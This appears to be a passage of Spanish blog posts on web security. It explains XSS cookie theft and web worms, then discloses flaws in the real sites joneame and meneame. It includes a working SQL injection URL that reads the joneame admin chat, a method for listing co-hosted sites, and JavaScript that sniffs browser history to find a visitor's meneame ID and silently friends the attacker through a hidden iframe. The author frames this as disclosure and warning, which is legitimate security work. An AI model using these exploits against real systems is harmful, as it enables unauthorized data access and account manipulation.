Una vez con tu cookie, borro mi cookie de gmail, y me pongo la tuya, ahora ya estoy autentificado en gmail, con tu nombre de usuario, y puedo leer tu correo.

Una vez entendido esto, entender los gusanos web (web worms) son fáciles de entender, imagina que yo estoy en una red social, y tengo un perfil público, en el cual hay un campo ‘intereses’, donde la gente pone lo que le gusta hacer. Si ese campo, permite introducir código HTML, sin filtrarlo, yo podría introducir:

<script>alert(document.cookie);</script>

Y cuando alguien visitase mi perfil, se mostrase su cookie. Si ahora en lugar de un alert, introduzco un código, que hace un petición POST a la red social, y modifica el perfil de la victima, introduciendo en el campo intereses, el mismo código malicioso que yo tengo, cada persona que entre, se le modificará automáticamente su perfil, y cada persona que vea ese perfil modificado, modificará automaticamente el suyo, y así sucesivamente.

En unas horas, todos los perfiles de una red social pueden estar modificados, es decir, infectados con el código.

Además, este código podría enviarle las cookies al autor original del código, mediante una petición invisible a alguna web (usando un iframe invisible, por ejemplo), de forma que no solo ha infectado todos los perfiles, sino que tiene todas las cookies, de todo el mundo, en la web.

Aunque todo esto suene rocambolesco, es una realidad, y ha sucedido ya en muchas ocasiones, siendo quizás la mas famosa, la de samy, un código javascript que infecto millones de perfiles en myspace, mediante un agujero de tipo XSS.

Como siempre, para protegerse de estos ataques, lo mejor es utilizar noscript, para firefox.

Como muchos sabréis, joneame es un clon de meneame, realizado por un joven vasco, el cual además de crear un clon de meneame utilizando el código original, ha hecho ciertas modificaciones, para agregar funcionalidades.

Una de las modificaciones mas interesantes, es la de intercambiar mensajes privados entre usuarios.

Sin embargo, estas modificaciones se han hecho sin preocuparse en absoluto por la seguridad, lo cual ha llevado, a que joneame es extremadamente inseguro.

Ayer auditando el código de joneame, encontré un agujero de seguridad de tipo SQL injection, un agujero tan grave que permite tomar el control del servidor (usando load_file e into outfile), por el cual cualquier usuario puede ser suplantado, y cualquier información en joneame: manipulada.

El agujero está en backend/ezbatu_mezua.php, aquí:

$id = $_REQUEST['mid'];
$nondik = $_REQUEST['mota'];

$mezua = new Mezu;
$mezua->id = $current_user->user_id;
$mezua->jaso_mezua($id, $nondik);

Este fichero lee un mensaje privado dado su id, (el parámetro ‘mid’), sin embargo, el valor recogido vía GET, es pasado a jaso_mezua, sin sanear, y en esa función, se hace:

function jaso_mezua($zein, $nondik) {
global $db;

if ($nondik == ‘inbox’)
$mezu = $db->get_row(“SELECT * FROM mezuak WHERE nori=”.$this->id.” AND id=”.$zein.” LIMIT 1″);

Siendo $zein el parametro ‘mid’ que entró por la URL, sin sanear.

Por lo cual, explotar el bug es tan fácil como enviarnos un mensaje privado desde cualquier usuario, ir a la sección mensajes privados, y hacer click en el mensaje privado recibido, entonces, veremos un enlace tal como:

http://joneame.net/backend/mezuak_ikusi.php?id=ID_DE_TU_USUARIO_AQUI&md5=CLAVE_DE_CONTROL_AQUI&mid=NUMERO_DE_MENSAJE_AQUI&mota=inbox

Entonces, basta con agregar sentencias sql a continuación del número de mensaje, por ejemplo, así:

http://joneame.net/backend/mezuak_ikusi.php?id=ID_DE_TU_USUARIO_AQUI&md5=CLAVE_DE_CONTROL_AQUI&mid=-99%20union%20select%20chat_uid,2,chat_uid,4,chat_text,6,7%20from%20chats%20where%20chat_room%20=%20%27admin%27%20and%20chat_uid%20!=%2041%20and%20chat_uid%20!=%20213%20and%20chat_uid%20!=%2034&mota=outbox&eg=0

Eso serviría para leer la fisgona de administradores que tienen en joneame, sin necesidad de ser administrador.

Además de este bug, otro problema que tiene joneame, es que está instalado en un servidor compartido, por lo que si encontrasen una vulnerabilidad en una web que se hospeado a su lado, podrían espiar tu privacidad en joneame (datos privados de tu cuenta, etc).

Un atacante puede determinar que sites se hospedan junto a joneame, haciendo una petición de dns inversa, sabiendo que la ip de joneame .net es: 87.98.228.106

Utilizando un servicio público de dns inverso:

http://whois.webhosting.info/87.98.228.106

Vemos las páginas hospedadas junto a joneame, que ser comprometidas, lo sería también joneame.

Lo que quiero decir con este post, es que la gente sin conocimientos técnicos, puede verse tentado por joneame, o servicios similares, pero siempre es recomendable utilizar servicios profesionales, que estén en su propio servidor, y que su código esté medianamente controlado y revisado.

Algunos de estos problemas de seguridad ya han sido notificados al dueño de joneame, con quien he hablado vía mail. y me ha confirmado que está al tanto de los problemas de seguridad, otros problemas de seguridad, como lo del hosting compartido son inherentes de la infraestructura de joneame, y no pueden ser solventados, desgraciadamente.

Además, meneame permite que los usuarios hablen entre ellos, se escriban comentarios, y marquen a sus mas allegados, como “amigos”. Marcar como amigo en el meneame, significa que esa persona leerá lo que escribas en la fisgona (el chat de meneame), aún y cuando lo que escribas, lo marques para ser leído solo por tus amigos.

De esta forma, mucha gente sabe que marcando solo a sus amigos, puede mantener conversaciones relativamente privadas dentro de la fisgona (el chat global de meneame) aún y cuando cualquiera puede ver la fisgona.

Para hacer que alguien sea tu amigo, basta con visitar una URL tal como:

http://meneame.net/backend/get_friend.php?id=ID_DE_USUARIO_DE_OTRO&p=0&type=TU_ID_DE_USUARIO

Y de hecho, esa es la dirección que se visita, cuando haces clic en el corazoncito de alguien, para hacerlo tu amigo en meneame.

El hecho de que necesites pasar tu id de usuario, pese a que ya estás autenticado en meneame, se hace para evitar que alguien te redirija a una URL como esa, produciendo que agregues a gente como amiga en el meneame, solo por entrar a un web de terceros.

Este tipo de ataques se conocen como CSRF.

Por ejemplo, si mi id es 31337, yo podría redigir a mis visitantes a:

http://meneame.net/backend/get_friend.php?id=31337&p=0&type=TU_ID_DE_USUARIO

Para que se hagan mis amigos en meneame, nada mas entrar en mi web, sin embargo, no puedo hacerlo, por que yo no se el id de meneame del visitante que entra a mi web.

Sin embargo, esto se puede solventar de forma bastante fácil, como todos sabemos, los navegadores web permiten marcar de un color los links visitados, y de otro los links no visitar (a:visited, a:link en CSS).

Pues bien, podemos usar esa funcionalidad del navegador, para crear links en nuestras web apuntando a otros sitios, y luego comprobar con javascript, de que color son, de esa forma podemos saber si el visitante ha visitado esas web o no.

Pues bien, para descubrir el ID de meneame de nuestro visitante, basta con saber que en meneame todo usuario tiene disponible un RSS con sus conversaciones, ese RSS es una url tal como:

http://meneame.net/comments_rss2.php?answers_id=ID_DEL_USUARIO

Entonces, sabiendo que en meneame hay menos de 120.000 usuarios registrados (creo, tampoco es importante, es un experimento esto), podemos crear un bucle, que vía javascript genere enlaces hacia:

http://meneame.net/comments_rss2.php?answers_id=X

Empezando por X = 0, y terminado por X = 120.000, si tenemos suerte y el usuario utiliza el RSS de sus conversaciones, en una vuelta del bucle, uno de los links, estará de distinto color, ya que la URL habrá sido visitada por el usuario con anterioridad, y con eso, tendremos su ID en meneame.

Una vez con eso, podemos generar un iframe para visitar una url tipo:

http://meneame.net/backend/get_friend.php?id=31337&p=0&type=X

Siendo X el ID que hemos obtenido con la técnica de arriba.

Ahora el visitante, ya es amigo nuestro en meneame, sin que el vea nada

Como se puede observar, es una mala idea utilizar el id de usuario como medida anti CSRF, tal y como se hace en algunos sitios en meneame, hay que tener en cuenta que esto se puede utilizar de forma mas malevola, para auto-votar tus comentarios con cada visitante que entre a tu web, por ejemplo, ya que los votos a comentarios se hacen también con el ID como medida para evitar el CSRF.

Si queréis ver una prueba real utilizando esto, he montado una web:

demo

Que al visitarla te hace amigo mio en meneame automáticamente, el código es algo así:

function checkUrls(start) {
var url = “http://meneame.net/comments_rss2.php?conversation_id=”;
var obj = document.createElement(‘a’);
obj.setAttribute(‘href’,url);
document.getElementById(‘area’).appendChild(obj);
for(i=start;i<start+1000;i++) {
obj.setAttribute(‘href’,url+i);
var cmstyle = document.defaultView.getComputedStyle(obj,null);
if(cmstyle) {
if(cmstyle.color == ‘rgb(0, 0, 0)’) {
var frame = document.createElement(‘iframe’);
frame.setAttribute(’src’,'http://meneame.net/backend/get_friend.php?id=23321&p=0&type=’+i);
frame.style.width = ‘1px’;
frame.style.height = ‘1px’;
frame.style.border = ‘0px solid black’;
document.getElementById(‘area2′).appendChild(frame);
i = 120001
}
} else {
var color = obj.currentStyle.color;
if(color == ‘#000000′) {
var frame = document.createElement(‘iframe’);
frame.setAttribute(’src’,'http://meneame.net/backend/get_friend.php?id=23321&p=0&type=’+i);
frame.style.width = ‘1px’;
frame.style.height = ‘1px’;
frame.style.border = ‘0px solid black’;
document.getElementById(‘area2′).appendChild(frame);
i = 120001;
}
}
}
if(i < 120001) {
setTimeout(‘checkUrls(‘+i+’);’,100);
}
}

Pero se ve mejor entrando a la demo, y dandole a ver código fuente.

Nota importante: esto no tiene una efectividad del 100%, ya que puede que el usuario no visite su RSS de conversaciones, o visite el RSS de conversaciones de otro usuario.